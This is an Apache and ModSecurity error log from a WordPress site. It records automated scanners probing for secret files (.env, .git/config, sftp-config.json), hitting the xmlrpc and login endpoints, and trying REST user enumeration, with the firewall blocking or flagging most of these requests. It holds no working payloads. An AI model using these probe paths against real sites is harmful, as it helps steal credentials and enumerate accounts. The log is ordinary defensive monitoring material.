[Mon Nov 24 01:08:11.494791 2025] [:error] [pid 1452:tid 1475] [client 176.65.132.18:33218] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSM_exKZkEEyVNVXr_nBZQAAAFI"]
[Mon Nov 24 01:14:09.302050 2025] [:error] [pid 1589:tid 1609] [client 162.241.216.83:44734] [client 162.241.216.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.216.83, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSNA4YI2fvripjU0Eat49QAAAVI"], referer: http://rcacivilgroup.com
[Mon Nov 24 01:15:19.720154 2025] [:error] [pid 8337:tid 8345] [client 87.246.10.83:20955] [client 87.246.10.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.246.10.83, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSNBJ-Smps4S2j95D5h18QAAAAY"], referer: http://RCACIVILGROUP.COM
[Mon Nov 24 01:31:27.954250 2025] [:error] [pid 1589:tid 1605] [client 117.62.235.53:39996] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSNE74I2fvripjU0Eat9ogAAAU4"]
[Mon Nov 24 02:58:07.607096 2025] [:error] [pid 8337:tid 8361] [client 90.156.169.111:40512] [client 90.156.169.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.156.169.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSNZP-Smps4S2j95D5iisAAAABY"]
[Mon Nov 24 03:36:04.639481 2025] [:error] [pid 8337:tid 8358] [client 193.37.33.70:62677] [client 193.37.33.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSNiJOSmps4S2j95D5i1fgAAABM"]
[Mon Nov 24 03:43:01.991540 2025] [:error] [pid 1454:tid 1513] [client 172.104.233.211:59924] [client 172.104.233.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.104.233.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSNjxbeh4NH3skJ5n4Sb_wAAAME"]
[Mon Nov 24 04:27:13.082028 2025] [:error] [pid 12910:tid 12938] [client 37.187.153.122:37476] [client 37.187.153.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.187.153.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSNuIWkWgvzAF2Nei2VdKQAAABc"]
[Mon Nov 24 04:31:48.293795 2025] [:error] [pid 12999:tid 13023] [client 109.195.177.136:50737] [client 109.195.177.136] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "212.30.33.145_b7e110e6b765b4174b395e917a53f9b34f736139"): Internal error (specific information not available) [hostname "rcacivilgroup.com"] [uri "/index.php"] [unique_id "aSNvMFtj_teEYJ8vu7H3twAAANQ"], referer: http://rcacivilgroup.com/
[Mon Nov 24 05:11:33.028789 2025] [:error] [pid 12912:tid 12974] [client 167.114.206.241:38234] [client 167.114.206.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.114.206.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSN4hZMj_Lgt36UonYK1vQAAAIU"]
[Mon Nov 24 05:29:40.641324 2025] [:error] [pid 12910:tid 12938] [client 193.37.33.94:42083] [client 193.37.33.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.94, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSN8xGkWgvzAF2Nei2Vt9AAAABc"]
[Mon Nov 24 05:55:13.715493 2025] [:error] [pid 53508:tid 53515] [client 211.21.61.246:40536] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSOCwW639qxbKCcL09y__wAAAQU"]
[Mon Nov 24 06:05:39.048529 2025] [:error] [pid 12910:tid 12933] [client 198.177.120.51:47994] [client 198.177.120.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.120.51, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSOFM2kWgvzAF2Nei2V2_AAAABI"]
[Mon Nov 24 06:38:37.911076 2025] [:error] [pid 12910:tid 12938] [client 141.94.206.106:59410] [client 141.94.206.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.206.106, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSOM7WkWgvzAF2Nei2WFXwAAABc"]
[Mon Nov 24 07:24:53.178175 2025] [:error] [pid 12911:tid 12957] [client 188.34.161.164:49236] [client 188.34.161.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.161.164, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSOXxUDMbk9464jnIl4QDAAAAE8"]
[Mon Nov 24 07:26:10.929879 2025] [autoindex:error] [pid 12912:tid 12979] [client 64.227.159.42:65195] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Nov 24 07:35:43.943139 2025] [proxy_fcgi:error] [pid 12912:tid 12991] [client 34.73.26.18:48957] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `rcwp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_6__155044147', '\\"\\\\n<div class=\\\\\\"ngg-galleryoverview ngg-slideshow\\\\\\"\\\\n\\\\tid=\\\\\\"ngg-slideshow-4a8bee3e8b802df096652af8e009cf7d-19723261930\\\\\\"\\\\n\\\\tdata-gallery-id=\\\\\\"4a8bee3e8b802df096652af8e009cf7d\\\\\\"\\\\n\\\\tstyle=\\\\\\"max-width: 370px;\\\\n\\\\t\\\\t\\\\tmax-height: 206px;\\\\n\\\\t\\\\t\\\\tdisplay: none;\\\\\\">\\\\n\\\\n\\\\t\\\\n\\\\t\\\\t<a href=\\\\\\"http:\\\\/\\\\/rcacivils.com\\\\/wp-content\\\\/gallery\\\\/background-slider\\\\/imag0725.jpg\\\\\\"\\\\n\\\\t\\\\t\\\\ttitle=\\\\\\" \\\\\\"\\\\n\\\\t\\\\t\\\\tdata-src=\\\\\\"http:\\\\/\\\\/rcacivils.com\\\\/wp-content\\\\/gallery\\\\/background-slider\\\\/imag0725.jpg\\\\\\"\\\\n\\\\t\\\\t\\\\tdata-thumbnail=\\\\\\"http:\\\\/\\\\/rcacivils.com\\\\/wp-content\\\\/gallery\\\\/background-slider\\\\/thumbs\\\\/thumbs_imag0725.jpg\\\\\\"\\\\n\\\\t\\\\t\\\\tdata-image-id=\\\\\\"10\\\\\\"\\\\n\\\\t\\\\t\\\\tdata-title=\\\\\\"imag0725\\\\\\"\\\\n\\\\t\\\\t\\\\tdata-description=\\\\\\" \\\\\\"\\\\n\\\\t\\\\t\\\\tcla...'
[Mon Nov 24 08:08:37.168711 2025] [:error] [pid 12999:tid 13006] [client 34.73.73.46:59854] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSOiBVtj_teEYJ8vu7FSpAAAAMM"]
[Mon Nov 24 08:21:30.685108 2025] [:error] [pid 48599:tid 48618] [client 103.65.237.124:53042] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "aSOlCpzvu6PDJiRKE3KrfgAAAY8"]
[Mon Nov 24 08:21:31.054465 2025] [:error] [pid 49900:tid 49910] [client 103.65.237.124:61586] [client 103.65.237.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aSOlCzCyPLrvg06aorlmTwAAAAg"]
[Mon Nov 24 08:27:04.860611 2025] [:error] [pid 49900:tid 49902] [client 24.227.130.24:45272] [client 24.227.130.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.227.130.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSOmWDCyPLrvg06aorlqwQAAAAA"]
[Mon Nov 24 08:55:29.279829 2025] [:error] [pid 48600:tid 48632] [client 217.182.172.47:42592] [client 217.182.172.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.172.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSOtAftOzSUAQvWVjBcZhQAAAcI"]
[Mon Nov 24 09:40:27.069320 2025] [:error] [pid 49900:tid 49918] [client 54.36.20.147:46914] [client 54.36.20.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.20.147, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSO3izCyPLrvg06aormfNgAAABA"]
[Mon Nov 24 10:04:28.157133 2025] [:error] [pid 48599:tid 48627] [client 109.234.164.102:60546] [client 109.234.164.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.164.102, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSO9LJzvu6PDJiRKE3LbEgAAAZg"]
[Mon Nov 24 10:04:29.561072 2025] [:error] [pid 48599:tid 48613] [client 109.234.164.102:60546] [client 109.234.164.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.164.102, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSO9LZzvu6PDJiRKE3LbEwAAAYo"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 24 10:27:56.729166 2025] [:error] [pid 48601:tid 48657] [client 159.223.142.249:54702] [client 159.223.142.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.142.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSPCrIMM4MaVTk74-AZjmAAAAgA"]
[Mon Nov 24 11:12:16.882883 2025] [:error] [pid 9630:tid 9649] [client 59.125.102.226:55046] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSPNECrSgUgPGkizt2qOsgAAAFE"]
[Mon Nov 24 12:02:42.061271 2025] [:error] [pid 48599:tid 48623] [client 5.78.65.144:42062] [client 5.78.65.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.78.65.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSPY4pzvu6PDJiRKE3LxkwAAAZQ"]
[Mon Nov 24 13:34:45.868116 2025] [autoindex:error] [pid 16441:tid 16460] [client 84.247.137.198:52858] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Nov 24 13:38:23.822366 2025] [:error] [pid 16441:tid 16454] [client 65.108.235.40:40082] [client 65.108.235.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.108.235.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSPvT4q_bc5MOa9HflnoLwAAAIo"]
[Mon Nov 24 13:48:42.425020 2025] [:error] [pid 16593:tid 16608] [client 180.110.203.108:38835] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSPxuhVGznHBJI2LKpQduAAAAo0"]
[Mon Nov 24 14:25:19.285183 2025] [:error] [pid 9630:tid 9649] [client 213.136.87.238:57004] [client 213.136.87.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.136.87.238, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSP6TyrSgUgPGkizt2rCQAAAAFE"]
[Mon Nov 24 14:58:49.906292 2025] [:error] [pid 48599:tid 48615] [client 43.166.247.155:44856] [client 43.166.247.155] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSQCKZzvu6PDJiRKE3IMJQAAAYw"]
[Mon Nov 24 15:11:50.434811 2025] [:error] [pid 48688:tid 48701] [client 117.55.202.159:36210] [client 117.55.202.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.55.202.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSQFNhm2q1FkzLam7A2GzAAAAkk"]
[Mon Nov 24 16:02:35.080985 2025] [:error] [pid 49900:tid 49925] [client 188.34.161.164:38886] [client 188.34.161.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.161.164, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSQRGzCyPLrvg06aorn8JAAAABc"]
[Mon Nov 24 16:49:37.157665 2025] [:error] [pid 9630:tid 9650] [client 192.250.224.118:33250] [client 192.250.224.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.224.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSQcISrSgUgPGkizt2ro4AAAAFI"]
[Mon Nov 24 16:59:06.810297 2025] [:error] [pid 49900:tid 49922] [client 49.43.227.251:61916] [client 49.43.227.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.227.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSQeWjCyPLrvg06aorkHrgAAABQ"]
[Mon Nov 24 17:54:58.183085 2025] [:error] [pid 48600:tid 48645] [client 49.43.227.251:63164] [client 49.43.227.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aSQrcvtOzSUAQvWVjBd-qwAAAc8"]
[Mon Nov 24 17:56:26.351377 2025] [:error] [pid 16549:tid 16571] [client 49.43.227.251:63709] [client 49.43.227.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.227.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSQryqeWW19A99PUw_c-yQAAAVI"]
[Mon Nov 24 18:37:00.394643 2025] [:error] [pid 16441:tid 16452] [client 103.204.169.198:63312] [client 103.204.169.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.204.169.198, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSQ1TIq_bc5MOa9HfllNegAAAIg"]
[Mon Nov 24 18:55:04.489247 2025] [autoindex:error] [pid 48600:tid 48653] [client 64.227.159.42:58242] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Nov 24 20:09:29.562187 2025] [:error] [pid 48688:tid 48692] [client 182.44.67.97:53446] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSRK-Rm2q1FkzLam7A29jQAAAkA"]
[Mon Nov 24 20:20:08.048544 2025] [:error] [pid 16549:tid 16558] [client 211.21.61.244:33230] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSRNeKeWW19A99PUw_dZtgAAAUY"]
[Mon Nov 24 21:09:21.204935 2025] [:error] [pid 48599:tid 48606] [client 90.156.142.31:53882] [client 90.156.142.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.156.142.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSRZAZzvu6PDJiRKE3JKnAAAAYM"]
[Mon Nov 24 21:45:37.720752 2025] [:error] [pid 49900:tid 49903] [client 193.32.126.212:53670] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSRhgTCyPLrvg06aorlJhQAAAAE"]
[Mon Nov 24 21:45:38.215370 2025] [:error] [pid 48688:tid 48693] [client 193.32.126.212:54327] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSRhghm2q1FkzLam7A3PxgAAAkE"]
[Mon Nov 24 21:45:38.707450 2025] [:error] [pid 48688:tid 48694] [client 193.32.126.212:54873] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aSRhghm2q1FkzLam7A3P0AAAAkI"]
[Mon Nov 24 22:02:07.632775 2025] [:error] [pid 16593:tid 16604] [client 157.230.98.69:52574] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSRlXxVGznHBJI2LKpRufQAAAok"]
[Mon Nov 24 22:04:48.304891 2025] [:error] [pid 16441:tid 16454] [client 43.159.152.4:48634] [client 43.159.152.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSRmAIq_bc5MOa9Hflma-QAAAIo"]
[Mon Nov 24 22:24:57.062517 2025] [:error] [pid 16441:tid 16454] [client 45.141.215.153:43846] [client 45.141.215.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aSRquYq_bc5MOa9Hflmh-wAAAIo"]
[Mon Nov 24 22:24:57.196384 2025] [:error] [pid 16516:tid 16533] [client 45.141.215.153:43870] [client 45.141.215.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aSRqufqZbniwaNwL8XkS0QAAAQ4"]
[Mon Nov 24 22:49:28.811684 2025] [:error] [pid 16441:tid 16448] [client 212.129.7.184:58550] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSRweIq_bc5MOa9Hflmr9AAAAIQ"]
